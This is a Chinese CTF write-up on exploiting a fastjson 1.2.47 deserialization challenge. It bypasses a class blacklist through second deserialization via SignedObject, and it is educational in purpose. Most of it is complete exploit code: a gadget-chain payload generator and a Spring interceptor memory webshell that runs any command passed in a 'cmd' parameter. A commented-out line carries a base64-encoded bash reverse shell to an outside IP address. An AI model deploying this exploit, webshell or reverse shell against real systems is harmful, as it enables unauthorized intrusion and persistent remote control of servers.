[车联网题目]二次反序列化+fastjson的CTF题目

**赛题,题目给了一个expr.jar文件

使用idea打开jar包,首先对jar包进行审计,一般情况下,我们会选择先看看依赖,因为有的依赖是存在漏洞的,通过一定的组合就可以进行利用,可以发现其中存在:

  • fastjson-1.2.47
  • snakeyaml-1.29.jar
  • ongl 3.1.21
  • jackson

image-20230904152702559

而这些都是存在漏洞的版本,例如fastjson-1.2.47,就存在fastjson反序列化漏洞可以实现rce,但是题目很明显不会这么简单就让我们实现利用的,接下来就去看一下题目的源码以及配置

首先在pom.xml中,我们看到,有引入的依赖为

image-20230904152748327

image-20230904152752744

所以在这里我们基本可以确定要打的就是这个两个依赖,接下来就开始进行java的代码审计:

image-20230904152809632

首先是controller部分,我们传入的data会经过一个SecureUtil的处理,然后再进行readObject进行反序列化,这里我们来看一下SecureUtil做了什么处理:

其实就是过滤了这两个类

image-20230904152827933

这两个类有什么作用呢?

  • 这两个类都是我们在构造反序列化利用链中的终点,也就是实现命令执行的类,因此禁用了这两个类,我们就需要进行绕过,否则就无法实现RCE
绕过思路:

1.寻找替代类——现在能打通的类也就这两个,因此基本上不存在能替代的类,所以这个方案行不通

2.二次反序列化绕过
    ​    二次反序列化:
    ​    **原理:由于黑名单仅检测第一次反序列化的结果是否含有危险类,不检测第二次反序列化的结果,所以就可以实现绕过**

实现:二次反序列化,顾名思义,我们就是需要找到能够实现两次反序列化的地方,第一个地方很明显就是题目一开始的地方:

image-20230904153250618

接下来我们就需要找到一条链子,能够在第一次反序列化的时候,跳转到另一个反序列化的入口,然后执行我们的恶意反序列化链条payload

那么接下来我们需要解决以下几个问题:

  • 第一次反序列化的链子应该如何构造?
  • 第二次反序列化的链子应该如何构造?

第一次反序列化链子

第一次反序列化的链子的目的是找到第二次反序列化的入口

熟悉fastjson反序列化链条以及java反序列化链子挖掘思路的话其实很容易就可以想到:

fastjson反序列化有一条链子就是通过BadAttributeValueExpException#readObject

BadAttributeValueExpException#readObject
JSONObject#toString

image-20230904153402915

此时我们将valObj赋值为JSONObject这个类,那么就会跳转到JSON#toString(存在一个调用链:JSONObject#toString/JSON#toString)方法,在Json这里就会触发fastjson的漏洞,触发get方法

image-20230904153452507

我们接下来针对这条路径深入分析一下,就可以发现其中的用处了:

跟着下面的路径,最终会来到这里的get方法

JSON#toString
JSON#toJSONString
JSONSerializer#write
SerializeConfig#getObjectWriter

image-20230904153521115

在这里的get方法,会触发当前序列化的类中的所有get方法(值得一提的事,这个get方法指的是getxxx()方法,而不单纯是get()

那么其实现在目标就很明确了:

我们通过以下调用链构造第一条链子跳转至能够调用任意get方法的,接下来就找,有哪个类里面的get方法存在readObject方法可以实现反序列化

BadAttributeValueExpException#readObject
JSONObject#toString

第二次反序列化链子

接下来我们就是要找到一个类,并且满足:

  • get方法
  • get方法里面能够直接或间接调用readObject()

而这个类就是⽤SignedObject#getObject

image-20230904154620751

接下来我们就将我们的能够执行命令的调用了黑名单所限制的类的链条的序列化数据传到这里,进行反序列化,就可以实现RCE了,而这里的链条就很简单了,因为有fastjson的依赖包,所以我们直接用fastjson1.2.48RCE链条就行

        BadAttributeValueExpException#readObject
        JSONArray#toString
        TemplatesImpl#getOutputProperties
            TemplatesImpl#newTransformer
            TemplatesImpl#getTransletInstance
            TemplatesImpl#defineTransletClasses
            TemplatesImpl#defineClass

所以总结起来就是

* 绕过第一次的TemplatesImpl黑名单检查
    BadAttributeValueExpException#readObject
    JSONOBJECT#toString
    SignedObject#getObject
* 二次反序列化
    * 引用绕过JSON自带resolveClass的黑名单检查
        BadAttributeValueExpException#readObject
        JSONArray#toString
        TemplatesImpl#getOutputProperties
            TemplatesImpl#newTransformer
            TemplatesImpl#getTransletInstance
            TemplatesImpl#defineTransletClasses
            TemplatesImpl#defineClass

exp构造

因为第二个链子的嵌套在第一个里面的,所以我们先构造第二个:

         BadAttributeValueExpException#readObject
        JSONArray#toString
        TemplatesImpl#getOutputProperties
            TemplatesImpl#newTransformer
            TemplatesImpl#getTransletInstance
            TemplatesImpl#defineTransletClasses
            TemplatesImpl#defineClass

将上面的链子转化为代码就是以下这些,这个也是网上现成的fastjson打反序列化的现成链子

TemplatesImpl templates = (TemplatesImpl) getTempalteslmpl();
JSONArray jsonArray2 = new JSONArray();
        jsonArray2.add(templates);
        BadAttributeValueExpException val2 = new BadAttributeValueExpException(null);
        Field valfield2 = val2.getClass().getDeclaredField("val");
        valfield2.setAccessible(true);
        valfield2.set(val2, jsonArray2);
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");

接下来是第一个链子:

     BadAttributeValueExpException#readObject
    JSONOBJECT#toString
    SignedObject#getObject

这里就是第一个链子

SignedObject so = null;
        so = new SignedObject(val2, privateKey, signingEngine);
        JSONArray jsonArray = new JSONArray();
        jsonArray.add(so);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, jsonArray);
        serialize(val);
        System.out.println(string);

将这两个链子组合在一起的关键步骤就是

so = new SignedObject(val2, privateKey, signingEngine);

接下来就是命令执行了:由于本题不出网,无法反弹shell,所以我们只能构造内存马,直接用以下模板即可,然后将其编译为.class文件即可

package com.ctf.expr;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.beans.BeansException;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class SpringInterceptor extends AbstractTranslet implements
        HandlerInterceptor{
    static {
        try {
            //获取ApplicationContext
            WebApplicationContext context = null;
            try{
                //获取Child ApplicationContext
                context =
                        (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            }catch (Exception exception){
                //获取Root ApplicationContext
                Class webApplicationContextUtilsClass = Class.forName("org.springframework.web.context.support.WebApplicationContextUtils");
                Method getWebApplicationContext = webApplicationContextUtilsClass.getDeclaredMethod("getWebApplicationContext", ServletContext.class);
                getWebApplicationContext.setAccessible(true);
                ServletContext servletContext = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest().getSession().getServletContext();
                context = (WebApplicationContext)
                        getWebApplicationContext.invoke(null, servletContext);
            }
            //获取HandlerMapping,旧版本是RequestMappingHandlerMapping,新版本是DefaultAnnotationHandlerMapping
            org.springframework.web.servlet.handler.AbstractHandlerMapping handlerMapping = null;
            try {
                Class<?> RequestMappingHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
                handlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping);
            }catch(BeansException exception){
                Class<?> DefaultAnnotationHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping");
                handlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(DefaultAnnotationHandlerMapping);
            }
            //添加HandlerInterceptor
            Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(handlerMapping);
            adaptedInterceptors.add(new SpringInterceptor());
        }catch (Exception exception){
            exception.printStackTrace();
        }
    }
    public boolean preHandle(HttpServletRequest request, HttpServletResponse
            response, Object handler) throws Exception {
        if(request.getHeader("Referer").equals("https://www.baidu.com/")){
            String cmd = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (cmd != null) {
                String[] commands = null;
                if
                (System.getProperty("os.name").toLowerCase().contains("win")) {
                    Runtime.getRuntime().exec("calc");
                    commands = new String[]{"cmd", "/c", cmd};
                } else {
                    commands = new String[]{"/bin/bash", "-c", cmd};
                }
                String result = "";
                java.util.Scanner scanner = new java.util.Scanner(Runtime.getRuntime().exec(commands).getInputStream()).useDelimiter("\\A");
                result = scanner.hasNext() ? scanner.next(): result;
                System.out.println(result);
                writer.println(result);
                writer.flush();
                writer.close();
            }
            return false;
        }
        return true;
    }
    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse
            response, Object handler, ModelAndView modelAndView) throws Exception {
        HandlerInterceptor.super.postHandle(request, response, handler,
                modelAndView);
    }
    @Override
    public void afterCompletion(HttpServletRequest request,
                                HttpServletResponse response, Object handler, Exception ex) throws Exception
    {
        HandlerInterceptor.super.afterCompletion(request, response, handler,
                ex);
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {}
    @Override
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException {} }

所以最终的payload就是:

package com.ctf.expr;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import static ognl.Ognl.setValue;
public class exp {
    public static String string;
    public static void main(String[] args) throws Exception {
// ClassPool pool = ClassPool.getDefault();
// CtClass clazz = pool.makeClass("a");
// CtClass superClass = pool.get(AbstractTranslet.class.getName());
// clazz.setSuperclass(superClass);
// CtConstructor constructor = new CtConstructor(new CtClass[]{},clazz);
// constructor.setBody("java.lang.Runtime.getRuntime().exec(\"bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuOC43Ny8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}\");");
// clazz.addConstructor(constructor);
// byte[][] bytes = new byte[][]{clazz.toBytecode()};
 TemplatesImpl templates = (TemplatesImpl) getTempalteslmpl();
// setValue(templates, "_bytecodes", );
// setValue(templates, "_name", "y4tacker");
// setValue(templates, "_tfactory", new TransformerFactoryImpl());
        JSONArray jsonArray2 = new JSONArray();
        jsonArray2.add(templates);
        BadAttributeValueExpException val2 = new BadAttributeValueExpException(null);
        Field valfield2 = val2.getClass().getDeclaredField("val");
        valfield2.setAccessible(true);
        valfield2.set(val2, jsonArray2);
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");

        SignedObject so = null;
        so = new SignedObject(val2, privateKey, signingEngine);
        JSONArray jsonArray = new JSONArray();
        jsonArray.add(so);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, jsonArray);
        serialize(val);
        System.out.println(string);
        // unserialize();
    }
    public static void setValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }
    public static void serialize(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }
    public static void unserialize() throws Exception {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
    public static byte[] getEvilBytes() throws Exception{
// byte[] bytes =ClassPool.getDefault().get("com.butler.TestCalc").toBytecode();
        byte[] bytes = ClassPool.getDefault().get("com.ctf.expr.SpringInterceptor").toBytecode();
// byte[] bytes =ClassPool.getDefault().get("TouchFilea").toBytecode();
// ClassPool classPool = new ClassPool(true);
// CtClass helloAbstractTranslet =classPool.makeClass("HelloAbstractTranslet");
// CtClass ctClass =classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
// helloAbstractTranslet.setSuperclass(ctClass);
// CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
// ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(newString[]{\"/bin/bash\",\"-c\",\"touch /tmp/hello\"});");
// helloAbstractTranslet.addConstructor(ctConstructor);
// byte[] bytes = helloAbstractTranslet.toBytecode();
// helloAbstractTranslet.detach();
            return bytes;
        }
        public static Object getTempalteslmpl() throws Exception {
            TemplatesImpl templates = new TemplatesImpl();
            byte[] evilBytes = getEvilBytes();
            setValue(templates,"_name","Hello");
            setValue(templates,"_tfactory",new TransformerFactoryImpl());
            setValue(templates,"_bytecodes",new byte[][]{evilBytes});
            return templates;
        } }

首先发送将exp发送过去

image-20230904155058970

然后抓包,加上Referer头即可(内存马里写的判断条件),然后?cmd=ls执行命令

image-20230904155550625

本文链接:

https://www.linqi.net.cn/index.php/archives/506/